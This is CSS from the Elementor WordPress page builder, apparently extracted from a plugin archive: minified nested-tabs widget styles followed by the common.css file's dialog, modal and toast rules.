.e-n-tab-title{background-color:initial;border-style:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;display:flex;align-items:var(--n-tabs-title-align-items-toggle,var(--n-tabs-title-align-items));flex-direction:var(--n-tabs-title-direction);justify-content:var(--n-tabs-title-justify-content-toggle,var(--n-tabs-title-justify-content));gap:var(--n-tabs-icon-gap);border-width:var(--n-tabs-border-width);position:relative;flex-grow:var(--n-tabs-title-flex-grow);flex-basis:var(--n-tabs-title-flex-basis);flex-shrink:var(--n-tabs-title-flex-shrink);padding-block-start:var(--n-tabs-title-padding-block-start);padding-inline-end:var(--n-tabs-title-padding-inline-end);padding-block-end:var(--n-tabs-title-padding-block-end);padding-inline-start:var(--n-tabs-title-padding-inline-start);border-radius:var(--n-tabs-title-border-radius);height:var(--n-tabs-title-height);width:var(--n-tabs-title-width);white-space:var(--n-tabs-title-white-space);transition:background var(--n-tabs-title-transition),color var(--n-tabs-title-transition),border var(--n-tabs-title-transition),box-shadow var(--n-tabs-title-transition),text-shadow var(--n-tabs-title-transition),stroke var(--n-tabs-title-transition),stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-color var(--n-tabs-title-transition),transform var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title:focus:not(:focus-visible){outline:none}.elementor-widget-n-tabs .e-n-tab-title span i,.elementor-widget-n-tabs .e-n-tab-title span svg{transition:color var(--n-tabs-title-transition),fill var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title-text{display:flex;align-items:center;font-size:var(--n-tabs-title-font-size);text-align:var(--n-tabs-title-text-align)}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon{display:flex;align-items:center;flex-direction:column;flex-shrink:0;order:var(--n-tabs-icon-order);overflow:hidden}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon i{font-size:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon svg{width:var(--n-tabs-icon-size,var(--n-tabs-title-font-size));height:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon:empty{display:none}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false]{background-color:var(--n-tabs-title-background-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] a{color:var(--n-tabs-title-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i{color:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i:last-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg:last-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i:first-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:active,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:focus,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:first-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:active,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:focus,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:last-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:last-child{transform:none;height:auto;opacity:1}.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=false]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-hover);background-image:none}.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs>.e-n-tabs-heading .e-n-tab-title[aria-selected=true],.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=true]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-active);background-image:none}@media (max-width:767px){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:1024px){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:-1){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}assets/css/common.css000064400000063611147206604650010661 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } #elementor-change-exit-preference-dialog .dialog-message a { cursor: pointer; } #elementor-change-exit-preference-dialog .dialog-message > div { margin-block-end: 10px; } #e-experiments-messages-dialog .dialog-confirm-header { font-weight: 600; } #e-kit-elements-defaults-create-dialog label { display: flex; align-items: center; justify-content: center; gap: 10px; margin-block-start: 20px; } @media (min-width: 1024px) { body.admin-bar .dialog-lightbox-widget { height: calc(100vh - 32px); } } @media (max-width: 1024px) { body.admin-bar .dialog-type-lightbox { position: sticky; height: 100vh; } } .elementor-templates-modal .dialog-widget-content { font-family: Roboto, Arial, Helvetica, sans-serif; background-color: var(--e-a-bg-default); width: 100%; } @media (max-width: 1439px) { .elementor-templates-modal .dialog-widget-content { max-width: 990px; } } @media (min-width: 1440px) { .elementor-templates-modal .dialog-widget-content { max-width: 1200px; } } .elementor-templates-modal .dialog-header { border-block-end: var(--e-a-border); padding: 0; z-index: 1; } .elementor-templates-modal .dialog-buttons-wrapper { border-block-start: var(--e-a-border); padding: 10px; display: flex; justify-content: flex-end; gap: 15px; } .elementor-templates-modal .dialog-message { height: 750px; max-height: 85vh; overflow-y: auto; padding: 20px; } .elementor-templates-modal .dialog-content { height: 100%; text-align: center; } .elementor-templates-modal .dialog-loading { display: none; } .elementor-templates-modal__header { display: flex; align-items: center; justify-content: space-between; height: 50px; } .elementor-templates-modal__header__logo { line-height: 1; text-transform: uppercase; font-weight: bold; cursor: pointer; } .elementor-templates-modal__header__logo-area { text-align: start; padding-inline-start: 15px; } .elementor-templates-modal__header__logo-area > * { display: flex; align-items: center; } .elementor-templates-modal__header__logo__icon-wrapper { margin-inline-end: 10px; font-size: 12px; } .elementor-templates-modal__header__logo__title { color: var(--e-a-color-txt-active); padding-block-start: 2px; } .elementor-templates-modal__header__items-area { display: flex; flex-direction: row-reverse; } .elementor-templates-modal__header__item { position: relative; display: flex; align-items: center; justify-content: center; box-sizing: content-box; } .elementor-templates-modal__header__item > i { font-size: 20px; transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-templates-modal__header__item > i:hover { color: var(--e-a-color-txt-hover); } .elementor-templates-modal__header__close--normal { width: 47px; border-inline-start: var(--e-a-border); } .elementor-templates-modal__header__close--normal i { font-size: 18px; } .elementor-templates-modal__header__close--skip { padding: 10px; padding-inline-start: 20px; margin-inline-end: 10px; font-size: 11px; font-weight: normal; line-height: 1; border-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-templates-modal__header__close--skip > i { font-size: inherit; padding-inline-start: 10px; margin-inline-start: 15px; border-inline-start: 1px solid; } .elementor-templates-modal__header__close--skip > i:not(:hover) { color: var(--e-a-color-white); } .elementor-templates-modal__sidebar { flex-shrink: 0; width: 25%; border-inline-end: var(--e-a-border); } .elementor-templates-modal__content { flex-grow: 1; } #elementor-toast { position: absolute; width: 280px; padding: 20px; border-radius: 5px; color: var(--e-a-dark-color-txt); background-color: rgba(0, 0, 0, 0.8); z-index: 10000; } #elementor-toast.dialog-position-window { position: fixed; } #elementor-toast .dialog-message { font-size: 13px; } #elementor-toast .dialog-buttons-wrapper { display: flex; justify-content: flex-end; } #elementor-toast .dialog-buttons-wrapper:not(:empty) { margin-top: 15px; } 